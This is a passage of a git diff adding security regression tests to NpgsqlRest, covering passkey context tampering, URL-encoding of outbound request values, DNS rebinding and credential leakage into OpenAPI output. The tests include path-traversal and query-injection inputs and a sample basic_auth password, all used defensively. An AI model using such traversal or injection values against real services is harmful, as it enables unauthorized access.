dartclient_test.shape_upload is 'dartclient_module=dart_shape +/// upload for file_system +/// param _meta is upload metadata'; +/// +/// [files] Multipart files to upload, sent as form field "file". +/// [request] Carries the endpoint parameters. +/// [progress] Optional callback reporting upload progress in bytes. +/// Returns `dynamic`. +/// +/// See FUNCTION dartclient_test.shape_upload +Future dartclientTestShapeUpload( + List files, + DartclientTestShapeUploadRequest request, { + void Function(int loaded, int total)? progress, +}) async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-upload' + _query({ + if (request.meta != null) 'meta': request.meta, + })); + final multipart = http.MultipartRequest('POST', uri); + multipart.files.addAll(files); + final response = await _sendMultipart(multipart, progress: progress); + if (response.statusCode < 200 || response.statusCode >= 300) { + throw http.ClientException(utf8.decode(response.bodyBytes), uri); + } + return jsonDecode(utf8.decode(response.bodyBytes)); +} + +/// function dartclient_test.shape_void() +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_void is 'dartclient_module=dart_shape +/// @void'; +/// +/// See FUNCTION dartclient_test.shape_void +Future dartclientTestShapeVoid() async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-void'); + await _send('POST', uri); +} + +"""; + + [Fact] + public void Test_ResponseShape_GeneratedFile() + { + var filePath = Path.Combine(Setup.Program.DartClientOutputPath, "dart_shape.dart"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + + var content = File.ReadAllText(filePath); + content.Should().Be(Expected); + } + } +} diff --git a/NpgsqlRestTests/Fido2/PasskeyUserContextTests.cs b/NpgsqlRestTests/Fido2/PasskeyUserContextTests.cs new file mode 100644 index 00000000..1492b3f0 --- /dev/null +++ b/NpgsqlRestTests/Fido2/PasskeyUserContextTests.cs @@ -0,0 +1,122 @@ +using System.Security.Claims; +using System.Text.Json; +using System.Text.Json.Nodes; +using Microsoft.AspNetCore.DataProtection; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using NpgsqlRest.Auth; +using NpgsqlRestClient.Fido2; + +namespace NpgsqlRestTests.Fido2; + +/// +/// Security regression: the passkey userContext round trip (options endpoint -> browser -> completion endpoint) +/// must not let a client change the context, e.g. replace the user id to attach its own passkey to another account. +/// +public class PasskeyUserContextTests +{ + private static readonly IServiceProvider Services = new ServiceCollection().AddDataProtection().Services.BuildServiceProvider(); + private static readonly NpgsqlRestAuthenticationOptions AuthOptions = new(); + + private static HttpContext Context(string? userId) + { + var context = new DefaultHttpContext { RequestServices = Services }; + if (userId is not null) + { + context.User = new ClaimsPrincipal(new ClaimsIdentity( + [new Claim(AuthOptions.DefaultUserIdClaimType, userId)], "test")); + } + return context; + } + + // What the options endpoint sends to the browser as "userContext" + private static string Issue(HttpContext context, string dbUserContext, string challengeId) + { + using var buffer = new MemoryStream(); + using (var writer = new Utf8JsonWriter(buffer)) + { + writer.WriteStartObject(); + PasskeyUserContext.Write(writer, context, dbUserContext, "aGFuZGxl", challengeId, + PasskeyUserContext.GetBoundUserId(context, AuthOptions)); + writer.WriteEndObject(); + } + return JsonNode.Parse(buffer.ToArray())!["userContext"]!.ToJsonString(); + } + + [Fact] + public void Untouched_user_context_round_trips_to_the_issued_copy() + { + var context = Context("42"); + var returned = Issue(context, "{\"id\":42,\"deviceName\":\"laptop\"}", "1001"); + + var issued = PasskeyUserContext.Open(context, returned, "1001", PasskeyUserContext.GetBoundUserId(context, AuthOptions)); + + issued.Should().Be("{\"id\":42,\"deviceName\":\"laptop\",\"userHandle\":\"aGFuZGxl\"}"); + } + + [Fact] + public void Edited_user_id_is_ignored_and_the_issued_copy_is_used() + { + var context = Context("42"); + var returned = JsonNode.Parse(Issue(context, "{\"id\":42,\"deviceName\":\"laptop\"}", "1001"))!; + returned["id"] = 1; // attacker tries to attach the passkey to user 1 + + var issued = PasskeyUserContext.Open(context, returned.ToJsonString(), "1001", PasskeyUserContext.GetBoundUserId(context, AuthOptions)); + + issued.Should().Be("{\"id\":42,\"deviceName\":\"laptop\",\"userHandle\":\"aGFuZGxl\"}"); + } + + [Fact] + public void Context_issued_for_another_challenge_is_rejected() + { + var context = Context("42"); + var returned = Issue(context, "{\"id\":42}", "1001"); + + PasskeyUserContext.Open(context, returned, "1002", PasskeyUserContext.GetBoundUserId(context, AuthOptions)).Should().BeNull(); + } + + [Fact] + public void Context_issued_to_another_user_is_rejected() + { + var victim = Context("1"); + var returned = Issue(victim, "{\"id\":1}", "1001"); // a context sealed for user 1 ... + + var attacker = Context("42"); // ... completed by user 42 + PasskeyUserContext.Open(attacker, returned, "1001", PasskeyUserContext.GetBoundUserId(attacker, AuthOptions)).Should().BeNull(); + } + + [Fact] + public void Context_without_seal_is_rejected() + { + var context = Context("42"); + PasskeyUserContext.Open(context, "{\"id\":1,\"userHandle\":\"aGFuZGxl\"}", "1001", "42").Should().BeNull(); + } + + [Fact] + public void Context_with_forged_seal_is_rejected() + { + var context = Context("42"); + PasskeyUserContext.Open(context, "{\"id\":1,\"_protected\":\"Q2ZESjhBQUFBQUFBQUFBQUFB\"}", "1001", "42").Should().BeNull(); + PasskeyUserContext.Open(context, "{\"id\":1,\"_protected\":12}", "1001", "42").Should().BeNull(); + PasskeyUserContext.Open(context, "not json", "1001", "42").Should().BeNull(); + } + + [Fact] + public void Registration_context_is_bound_to_the_challenge_only() + { + var anonymous = Context(null); + using var buffer = new MemoryStream(); + using (var writer = new Utf8JsonWriter(buffer)) + { + writer.WriteStartObject(); + PasskeyUserContext.Write(writer, anonymous, "{\"email\":\"a@b.c\"}", "aGFuZGxl", "7", boundUserId: null); + writer.WriteEndObject(); + } + var returned = JsonNode.Parse(buffer.ToArray())!["userContext"]!; + returned["email"] = "admin@b.c"; + + PasskeyUserContext.Open(anonymous, returned.ToJsonString(), "7", boundUserId: null) + .Should().Be("{\"email\":\"a@b.c\",\"userHandle\":\"aGFuZGxl\"}"); + PasskeyUserContext.Open(anonymous, returned.ToJsonString(), "8", boundUserId: null).Should().BeNull(); + } +} diff --git a/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeFixesTests.cs b/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeFixesTests.cs new file mode 100644 index 00000000..46d2e388 --- /dev/null +++ b/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeFixesTests.cs @@ -0,0 +1,122 @@ +using WireMock; +using WireMock.Server; +using WireMock.RequestBuilders; +using WireMock.ResponseBuilders; +using WireMock.Types; +using WireMock.Util; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void HttpClientTypeFixesTests() + { + script.Append($@" + -- a timed-out attempt followed by a successful retry + create type http_fix_stale as (body text, status_code int, success boolean, error_message text); + comment on type http_fix_stale is 'timeout 500ms +@retry_delay 50ms +GET http://localhost:{WireMockFixture.Port}/api/fix-stale'; + + create function get_http_fix_stale(_req http_fix_stale) returns json language sql as $$ + select json_build_object('body', (_req).body, 'status_code', (_req).status_code, 'success', (_req).success, 'error_message', (_req).error_message) + $$; +"); + script.Append(@" + -- a call to an endpoint of this application, with a placeholder in a header value + create function fix_echo_headers() returns text language sql as 'select current_setting(''request.headers'', true)'; + comment on function fix_echo_headers() is 'HTTP GET +request_headers context'; + + create type http_fix_self_header as (body text, status_code int); + comment on type http_fix_self_header is 'GET /api/fix-echo-headers +X-Fix-Value: value-{_v}'; + + create function get_http_fix_self_header(_v text, _req http_fix_self_header) returns text language sql as $$ + select (_req).body + $$; + + -- a call to an endpoint of this application that takes longer than the type's timeout + create function fix_slow_endpoint() returns text language sql as 'select pg_sleep(3)::text'; + comment on function fix_slow_endpoint() is 'HTTP GET'; + + create type http_fix_self_timeout as (body text, status_code int, success boolean, error_message text); + comment on type http_fix_self_timeout is 'timeout 300ms +GET /api/fix-slow-endpoint'; + + create function get_http_fix_self_timeout(_req http_fix_self_timeout) returns json language sql as $$ + select json_build_object('status_code', (_req).status_code, 'success', (_req).success, 'error_message', (_req).error_message) + $$; +"); + } +} + +/// Fixes in HTTP Custom Types (4.0.0). +[Collection("TestFixture")] +public class HttpClientTypeFixesTests : IClassFixture +{ + private readonly TestFixture _test; + private readonly WireMockServer _server; + + public HttpClientTypeFixesTests(TestFixture test, WireMockFixture wireMock) + { + _test = test; + _server = wireMock.Server; + _server.Reset(); + } + + [Fact] + public async Task Successful_retry_does_not_keep_the_error_message_of_the_failed_attempt() + { + // first attempt: slower than the 500 ms timeout; second: answers at once + int attempts = 0; + _server + .Given(Request.Create().WithPath("/api/fix-stale").UsingGet()) + .RespondWith(Response.Create().WithCallback(req => + { + if (Interlocked.Increment(ref attempts) == 1) + { + Thread.Sleep(2000); + } + return new ResponseMessage + { + StatusCode = 200, + BodyData = new BodyData { BodyAsString = "ok", DetectedBodyType = BodyType.String } + }; + })); + + using var response = await _test.Client.GetAsync("/api/get-http-fix-stale/"); + var content = await response.Content.ReadAsStringAsync(); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + // error_message used to stay "Request timed out after 0.5 seconds" on this successful response + content.Should().Be("{\"body\" : \"ok\", \"status_code\" : 200, \"success\" : true, \"error_message\" : null}"); + attempts.Should().Be(2); + } + + [Fact] + public async Task Call_to_an_own_endpoint_resolves_placeholders_in_header_values() + { + using var response = await _test.Client.GetAsync("/api/get-http-fix-self-header/?v=hello"); + var content = await response.Content.ReadAsStringAsync(); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + // the header used to arrive as written: "value-{_v}" + content.Should().Contain("\"X-Fix-Value\":\"value-hello\""); + content.Should().NotContain("{_v}"); + } + + [Fact] + public async Task Call_to_an_own_endpoint_honors_the_timeout() + { + var sw = System.Diagnostics.Stopwatch.StartNew(); + using var response = await _test.Client.GetAsync("/api/get-http-fix-self-timeout/"); + sw.Stop(); + var content = await response.Content.ReadAsStringAsync(); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + // the endpoint sleeps 3 seconds; the type allows 300 ms. Without the timeout this took 3 seconds and said 200. + content.Should().Be("{\"status_code\" : 408, \"success\" : false, \"error_message\" : \"Request timed out after 0.3 seconds\"}"); + sw.Elapsed.TotalSeconds.Should().BeLessThan(2.5); + } +} diff --git a/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeUrlEncodingTests.cs b/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeUrlEncodingTests.cs new file mode 100644 index 00000000..bff7facb --- /dev/null +++ b/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeUrlEncodingTests.cs @@ -0,0 +1,91 @@ +using WireMock.Server; +using WireMock.RequestBuilders; +using WireMock.ResponseBuilders; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void HttpClientTypeUrlEncodingTests() + { + script.Append($@" + create type http_enc_path as (body text, status_code int); + comment on type http_enc_path is 'GET http://localhost:{WireMockFixture.Port}/api/enc/users/{{_name}}/profile'; + + create function get_http_enc_path(_name text, _req http_enc_path) + returns text language sql as $$ select (_req).status_code::text || ':' || coalesce((_req).body, '') $$; + + create type http_enc_query as (body text, status_code int); + comment on type http_enc_query is 'GET http://localhost:{WireMockFixture.Port}/api/enc/search?q={{_q}}&limit=5'; + + create function get_http_enc_query(_q text, _req http_enc_query) + returns text language sql as $$ select (_req).status_code::text || ':' || coalesce((_req).body, '') $$; + + create function http_enc_echo(_value text) + returns text language sql as $$ select 'echo:' || _value $$; + comment on function http_enc_echo(text) is 'HTTP GET + path /api/http-enc-echo/{{_value}}'; + + create type http_enc_self as (body text, status_code int); + comment on type http_enc_self is 'GET /api/http-enc-echo/{{_value}}'; + + create function get_http_enc_self(_value text, _req http_enc_self) + returns text language sql as $$ select (_req).body $$; +"); + } +} + +/// +/// Security regression: request values substituted into an HTTP Custom Type URL are percent-encoded. They used to be +/// inserted raw, so a caller could add query parameters (x&limit=1000) or walk the path (../../admin) of the +/// outbound request. +/// +[Collection("TestFixture")] +public class HttpClientTypeUrlEncodingTests : IClassFixture +{ + private readonly TestFixture _test; + private readonly WireMockServer _server; + + public HttpClientTypeUrlEncodingTests(TestFixture test, WireMockFixture wireMock) + { + _test = test; + _server = wireMock.Server; + _server.Reset(); + _server + .Given(Request.Create().WithPath(new WireMock.Matchers.WildcardMatcher("/*")).UsingGet()) + .RespondWith(Response.Create().WithStatusCode(200).WithBody("ok")); + } + + [Fact] + public async Task Path_value_cannot_traverse_out_of_its_segment() + { + // _name = "../../admin?x=1" + using var response = await _test.Client.GetAsync("/api/get-http-enc-path/?name=..%2F..%2Fadmin%3Fx%3D1"); + (await response.Content.ReadAsStringAsync()).Should().Be("200:ok"); + + var received = _server.LogEntries.Single().RequestMessage!; + // one segment: '/' and '?' stay encoded (System.Uri canonicalizes %3D back to '=', which is inert in a path) + received.AbsoluteUrl.Should().Be($"http://localhost:{WireMockFixture.Port}/api/enc/users/..%2F..%2Fadmin%3Fx=1/profile"); + } + + [Fact] + public async Task Query_value_cannot_add_or_override_parameters() + { + // _q = "x&limit=1000" + using var response = await _test.Client.GetAsync("/api/get-http-enc-query/?q=x%26limit%3D1000"); + (await response.Content.ReadAsStringAsync()).Should().Be("200:ok"); + + var received = _server.LogEntries.Single().RequestMessage!; + received.AbsoluteUrl.Should().Be($"http://localhost:{WireMockFixture.Port}/api/enc/search?q=x%26limit%3D1000&limit=5"); + received.Query!["q"].Should().BeEquivalentTo(["x&limit=1000"]); + received.Query!["limit"].Should().BeEquivalentTo(["5"]); + } + + [Fact] + public async Task Self_call_path_value_is_decoded_for_the_target_endpoint() + { + // _value = "a b/c" - encoded into one path segment, decoded again as the target's route value + using var response = await _test.Client.GetAsync("/api/get-http-enc-self/?value=a%20b%2Fc"); + (await response.Content.ReadAsStringAsync()).Should().Be("echo:a b/c"); + } +} diff --git a/NpgsqlRestTests/HttpClientTypeTests/ParseHttpTypeDefinitionTests.cs b/NpgsqlRestTests/HttpClientTypeTests/ParseHttpTypeDefinitionTests.cs index 5cb76b3d..6d94b644 100644 --- a/NpgsqlRestTests/HttpClientTypeTests/ParseHttpTypeDefinitionTests.cs +++ b/NpgsqlRestTests/HttpClientTypeTests/ParseHttpTypeDefinitionTests.cs @@ -1160,4 +1160,48 @@ public void Cache_control_header_is_not_treated_as_cache_directive() result!.CacheEnabled.Should().BeFalse(); result.Headers.Should().ContainKey("Cache-Control"); } + + // A header whose name merely begins with "timeout" or "retry_delay" is a header. Both used to be taken for + // the directive: the value failed to parse (30 seconds), and the header was lost. + [Theory] + [InlineData("Timeout-Ms: 100", "Timeout-Ms", "100")] + [InlineData("Timeouts: none", "Timeouts", "none")] + [InlineData("Retry_Delay_Hint: 5", "Retry_Delay_Hint", "5")] + [InlineData("retry_delays: 1s", "retry_delays", "1s")] + public void Header_that_begins_with_a_directive_keyword_is_a_header(string headerLine, string name, string value) + { + var result = _parser.ParseHttpTypeDefinition("GET https://api.example.com/data\n" + headerLine); + + result.Should().NotBeNull(); + result!.Timeout.Should().BeNull(); + result.RetryDelays.Should().BeNull(); + result.Headers.Should().ContainKey(name).WhoseValue.Should().Be(value); + } + + [Theory] + [InlineData("timeout 5", 5)] + [InlineData("timeout: 5", 5)] + [InlineData("timeout=5", 5)] + [InlineData("@timeout\t5s", 5)] + [InlineData("# @TIMEOUT = 00:00:05", 5)] + public void Timeout_directive_is_still_read_in_every_form(string directive, int seconds) + { + var result = _parser.ParseHttpTypeDefinition("GET https://api.example.com/data\n" + directive); + + result.Should().NotBeNull(); + result!.Timeout.Should().Be(TimeSpan.FromSeconds(seconds)); + result.Headers.Should().BeNullOrEmpty(); + } + + [Theory] + [InlineData("retry_delay 1s, 2s")] + [InlineData("retry_delay: 1s, 2s")] + [InlineData("@retry_delay=1s, 2s")] + public void Retry_delay_directive_is_still_read_in_every_form(string directive) + { + var result = _parser.ParseHttpTypeDefinition(directive + "\nGET https://api.example.com/data"); + + result.Should().NotBeNull(); + result!.RetryDelays.Should().Equal(TimeSpan.FromSeconds(1), TimeSpan.FromSeconds(2)); + } } diff --git a/NpgsqlRestTests/McpTests/McpProtocolTests.cs b/NpgsqlRestTests/McpTests/McpProtocolTests.cs index 6b18e973..d7377e02 100644 --- a/NpgsqlRestTests/McpTests/McpProtocolTests.cs +++ b/NpgsqlRestTests/McpTests/McpProtocolTests.cs @@ -182,6 +182,17 @@ public async Task A_request_from_an_untrusted_origin_is_forbidden() response.StatusCode.Should().Be(HttpStatusCode.Forbidden); } + [Fact] + public async Task A_dns_rebinding_request_is_forbidden() + { + // DNS rebinding: the attacker's page reaches this server under the attacker's host name, so Origin and Host + // match. That used to pass as "same origin". + using var request = Ping(origin: "http://rebind.example.com"); + request.Headers.Host = "rebind.example.com"; + using var response = await test.Client.SendAsync(request); + response.StatusCode.Should().Be(HttpStatusCode.Forbidden); + } + [Fact] public async Task A_request_from_the_servers_own_origin_is_allowed() { diff --git a/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs b/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs new file mode 100644 index 00000000..44c42271 --- /dev/null +++ b/NpgsqlRestTests/McpTests/McpResponseShapeTests.cs @@ -0,0 +1,126 @@ +using NpgsqlRestTests.Setup; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + // Return shapes on which a tool's outputSchema and its structuredContent used to disagree with what the + // endpoint answers. https://github.com/NpgsqlRest/NpgsqlRest/issues/36 + public static void McpResponseShapeTools() + { + script.Append(@" +create schema if not exists mcp; + +-- a set with ONE NAMED column: rows are objects, not values +create function mcp.shape_one_column() returns table(val text) language sql as 'select ''a'''; +comment on function mcp.shape_one_column() is ' +HTTP GET +@mcp A set of rows with one column.'; + +-- the same with `single`: one row, an object +create function mcp.shape_one_column_single() returns table(val text) language sql as 'select ''a'''; +comment on function mcp.shape_one_column_single() is ' +HTTP GET +@mcp One row with one column. +single'; + +-- a set of values with `single`: one value +create function mcp.shape_value_single() returns setof text language sql as 'select ''a'''; +comment on function mcp.shape_value_single() is ' +HTTP GET +@mcp One value of a set. +single'; + +-- the `void` annotation on a routine that returns rows: no body +create function mcp.shape_void() returns table(val text) language sql as 'select ''a'''; +comment on function mcp.shape_void() is ' +HTTP GET +@mcp Runs and returns nothing. +void'; + +-- a cached tool: its cache invalidation endpoint is not a second tool +create function mcp.shape_cached() returns table(val text) language sql as 'select ''a'''; +comment on function mcp.shape_cached() is ' +HTTP GET +@mcp A cached set of rows. +cached'; +"); + } +} + +[Collection("McpPluginFixture")] +public class McpResponseShapeTests(McpPluginTestFixture test) +{ + private async Task CallAsync(string tool) + { + var json = "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"" + + tool + "\",\"arguments\":{}}}"; + using var content = new StringContent(json, Encoding.UTF8, "application/json"); + using var response = await test.Client.PostAsync("/mcp", content); + response.StatusCode.Should().Be(HttpStatusCode.OK); + return await response.Content.ReadAsStringAsync(); + } + + private async Task ToolDefAsync(string tool) + { + using var content = new StringContent("""{"jsonrpc":"2.0","id":1,"method":"tools/list"}""", Encoding.UTF8, "application/json"); + using var response = await test.Client.PostAsync("/mcp", content); + var tools = JsonNode.Parse(await response.Content.ReadAsStringAsync())!["result"]!["tools"]!.AsArray(); + return tools.First(t => t!["name"]!.GetValue() == tool)!.ToJsonString(); + } + + [Fact] + public async Task Set_with_one_named_column_is_items_of_objects() + { + (await CallAsync("shape_one_column")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"items\":[{\"val\":\"a\"}]}"}],"isError":false,"structuredContent":{"items":[{"val":"a"}]}}}"""); + (await ToolDefAsync("shape_one_column")).Should().Be( + """{"name":"shape_one_column","description":"A set of rows with one column.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true},"outputSchema":{"type":"object","properties":{"items":{"type":"array","items":{"type":"object","properties":{"val":{"type":["string","null"]}}}}}}}"""); + } + + [Fact] + public async Task Single_row_with_one_named_column_is_the_object_itself() + { + (await CallAsync("shape_one_column_single")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"val\":\"a\"}"}],"isError":false,"structuredContent":{"val":"a"}}}"""); + (await ToolDefAsync("shape_one_column_single")).Should().Be( + """{"name":"shape_one_column_single","description":"One row with one column.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true},"outputSchema":{"type":"object","properties":{"val":{"type":["string","null"]}}}}"""); + } + + [Fact] + public async Task Single_value_of_a_set_is_wrapped_as_value() + { + (await CallAsync("shape_value_single")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"value\":\"a\"}"}],"isError":false,"structuredContent":{"value":"a"}}}"""); + (await ToolDefAsync("shape_value_single")).Should().Be( + """{"name":"shape_value_single","description":"One value of a set.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true},"outputSchema":{"type":"object","properties":{"value":{"type":["string","null"]}}}}"""); + } + + [Fact] + public async Task Void_annotation_has_no_structured_content_and_no_output_schema() + { + (await CallAsync("shape_void")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":""}],"isError":false}}"""); + (await ToolDefAsync("shape_void")).Should().Be( + """{"name":"shape_void","description":"Runs and returns nothing.","inputSchema":{"type":"object","properties":{}},"annotations":{"readOnlyHint":true}}"""); + } + [Fact] + public async Task Cache_invalidation_endpoint_of_a_tool_is_not_a_tool() + { + using var content = new StringContent("""{"jsonrpc":"2.0","id":1,"method":"tools/list"}""", Encoding.UTF8, "application/json"); + using var response = await test.Client.PostAsync("/mcp", content); + var names = JsonNode.Parse(await response.Content.ReadAsStringAsync())!["result"]!["tools"]!.AsArray() + .Select(t => t!["name"]!.GetValue()) + .Where(n => n.StartsWith("shape_cached")) + .ToArray(); + names.Should().BeEquivalentTo(["shape_cached"]); + + // the tool is the cached endpoint: it answers with the rows + (await CallAsync("shape_cached")).Should().Be( + """{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"items\":[{\"val\":\"a\"}]}"}],"isError":false,"structuredContent":{"items":[{"val":"a"}]}}}"""); + + // and the invalidation endpoint exists and works + using var invalidate = await test.Client.GetAsync("/api/mcp/shape-cached/invalidate"); + (await invalidate.Content.ReadAsStringAsync()).Should().StartWith("{\"invalidated\":"); + } +} diff --git a/NpgsqlRestTests/NpgsqlRestTests.csproj b/NpgsqlRestTests/NpgsqlRestTests.csproj index 26731ad3..1f2c7c78 100644 --- a/NpgsqlRestTests/NpgsqlRestTests.csproj +++ b/NpgsqlRestTests/NpgsqlRestTests.csproj @@ -1,7 +1,10 @@  - net10.0 + net11.0 + + net10.0 enable enable @@ -11,20 +14,21 @@ false NpgsqlRestTests - 14 + 15 - - - - + + + + + - + runtime; build; native; contentfiles; analyzers; buildtransitive all - + runtime; build; native; contentfiles; analyzers; buildtransitive all diff --git a/NpgsqlRestTests/OpenApiTests/OpenApiCommentDisclosureTests.cs b/NpgsqlRestTests/OpenApiTests/OpenApiCommentDisclosureTests.cs new file mode 100644 index 00000000..41fd353a --- /dev/null +++ b/NpgsqlRestTests/OpenApiTests/OpenApiCommentDisclosureTests.cs @@ -0,0 +1,46 @@ +using System.Text.Json.Nodes; + +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void OpenApiCommentDisclosureTests() + { + script.Append(""" +create function openapi_disclosure_get() +returns text language sql as $$ select 'ok' $$; +comment on function openapi_disclosure_get() is ' +Returns the current status. +Used by the dashboard. +HTTP GET +basic_auth admin S3cretPassw0rd +proxy_host = http://internal-billing:8080 +'; +"""); + } + } +} + +namespace NpgsqlRestTests.OpenApiTests +{ + /// + /// Security regression: the OpenAPI document takes an operation's summary and description from the comment's prose + /// lines only. It used to publish the raw comment, annotations included - e.g. basic_auth credentials and internal + /// hosts - in a document that is typically public. + /// + [Collection("TestFixture")] + public class OpenApiCommentDisclosureTests + { + [Fact] + public void Annotation_lines_are_not_published() + { + var doc = JsonNode.Parse(File.ReadAllText(Path.Combine(Setup.Program.OpenApiOutputPath, "openapi.json")))!; + var operation = doc["paths"]?["/api/openapi-disclosure-get"]?["get"]; + operation.Should().NotBeNull(); + + operation!["summary"]!.GetValue().Should().Be("Returns the current status."); + operation["description"]!.GetValue().Should().Be("Used by the dashboard."); + operation.ToJsonString().Should().NotContain("S3cretPassw0rd").And.NotContain("internal-billing"); + } + } +} diff --git a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs new file mode 100644 index 00000000..48ab0bfa --- /dev/null +++ b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs @@ -0,0 +1,420 @@ +using System.Text.Json.Nodes; + +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void OpenApiResponseShapeTests() + { + script.Append(""" +create function oas_shape_register_thing() +returns table (thing_id int, name text) +language sql +as $$ +select 1, 'a'; +$$; +comment on function oas_shape_register_thing() is ' +@http POST /api/oas-shape/things +@single +Registers a thing.'; + +create function oas_shape_rows() returns table (thing_id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_rows() is 'HTTP GET'; + +create function oas_shape_values() returns setof text language sql as $$ select * from (values ('a'), ('b')) t(v) $$; +comment on function oas_shape_values() is 'HTTP GET'; + +create function oas_shape_single_value() returns setof text language sql as $$ select * from (values ('a'), ('b')) t(v) $$; +comment on function oas_shape_single_value() is ' +HTTP GET +@single'; + +create function oas_shape_one_column() returns table (val text) language sql as $$ select 'a' $$; +comment on function oas_shape_one_column() is 'HTTP GET'; + +create function oas_shape_void_annotation() returns table (thing_id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_void_annotation() is ' +HTTP GET +@void'; + +create function oas_shape_void() returns void language plpgsql as $$ begin end $$; +comment on function oas_shape_void() is 'HTTP GET'; + +create function oas_shape_text() returns text language sql as $$ select 'x' $$; +comment on function oas_shape_text() is 'HTTP GET'; + +create function oas_shape_int() returns int language sql as $$ select 42 $$; +comment on function oas_shape_int() is 'HTTP GET'; + +create function oas_shape_bool() returns boolean language sql as $$ select true $$; +comment on function oas_shape_bool() is 'HTTP GET'; + +create function oas_shape_json() returns json language sql as $$ select '[1,2]'::json $$; +comment on function oas_shape_json() is 'HTTP GET'; + +create function oas_shape_int_array() returns int[] language sql as $$ select array[1,2] $$; +comment on function oas_shape_int_array() is 'HTTP GET'; + +create function oas_shape_raw() returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function oas_shape_raw() is ' +HTTP GET +raw +separator ,'; + +create function oas_shape_bytes() returns bytea language sql as $$ select 'abc'::bytea $$; +comment on function oas_shape_bytes() is 'HTTP GET'; + +create function oas_shape_record() returns record language sql as $$ select 1, 'a'::text $$; +comment on function oas_shape_record() is 'HTTP GET'; + +create function oas_shape_json_column() returns table (id int, data json) language sql as $$ select 1, '[1,2]'::json $$; +comment on function oas_shape_json_column() is 'HTTP GET'; + +create type oas_shape_part as (id int, label text); + +create function oas_shape_parts() returns table (id int, parts oas_shape_part[]) +language sql as $$ select 1, array[row(10, 'x')::oas_shape_part] $$; +comment on function oas_shape_parts() is 'HTTP GET'; + +create function oas_shape_part_flat() returns table (code int, part oas_shape_part) +language sql as $$ select 1, row(10, 'x')::oas_shape_part $$; +comment on function oas_shape_part_flat() is 'HTTP GET'; + +create function oas_shape_part_nested() returns table (code int, part oas_shape_part) +language sql as $$ select 1, row(10, 'x')::oas_shape_part $$; +comment on function oas_shape_part_nested() is ' +HTTP GET +nested'; + +create function oas_shape_html() returns table (id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_html() is ' +HTTP GET +@table_format = html'; + +create function oas_shape_cached() returns table (id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_cached() is ' +HTTP GET +cached'; + +create function oas_shape_proxy() returns void language plpgsql as $$ begin raise exception 'not called'; end $$; +comment on function oas_shape_proxy() is 'HTTP GET +proxy GET /api/oas-shape-text'; + +create function oas_shape_content_type(_type text) returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function oas_shape_content_type(text) is ' +HTTP GET +raw +separator , +Content-Type: {_type}'; + +create function oas_shape_login() returns table (name_identifier int, name text) language sql as $$ select 1, 'user' $$; +comment on function oas_shape_login() is ' +HTTP POST +login'; + +create function oas_shape_hidden() returns table (id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_hidden() is ' +HTTP GET +cached +openapi hide'; + +create function oas_shape_tagged() returns table (id int, name text) language sql as $$ select 1, 'a' $$; +comment on function oas_shape_tagged() is ' +HTTP GET +cached +openapi tags Things'; + +create function oas_shape_upload(_meta json = null) returns json language sql as $$ select _meta $$; +comment on function oas_shape_upload(json) is ' +upload for file_system +param _meta is upload metadata'; + +create function oas_shape_null_value() returns text language sql as $$ select null::text $$; +comment on function oas_shape_null_value() is ' +HTTP GET +response_null_handling no_content'; + +create function oas_shape_no_row() returns table (id int, name text) language sql as $$ select 1, 'a' where false $$; +comment on function oas_shape_no_row() is ' +HTTP GET +@single +response_null_handling no_content'; + +create function oas_shape_raw_array() returns int[] language sql as $$ select array[1,2] $$; +comment on function oas_shape_raw_array() is ' +HTTP GET +raw'; +"""); + } + } +} + +namespace NpgsqlRestTests.OpenApiTests +{ + // What the OpenAPI document says an endpoint answers with, next to what the endpoint answers with. + // https://github.com/NpgsqlRest/NpgsqlRest/issues/36 + [Collection("TestFixture")] + public class ResponseShapeTests(TestFixture test) + { + private static readonly Lazy Document = new(() => + { + var filePath = Path.Combine(Setup.Program.OpenApiOutputPath, "openapi.json"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + return JsonNode.Parse(File.ReadAllText(filePath))!; + }); + + /// The "responses" of an operation in the document. + private static string Documented(string path, string method = "get") + { + var operation = Document.Value["paths"]?[path]?[method]; + operation.Should().NotBeNull($"{method} {path} should be documented"); + return 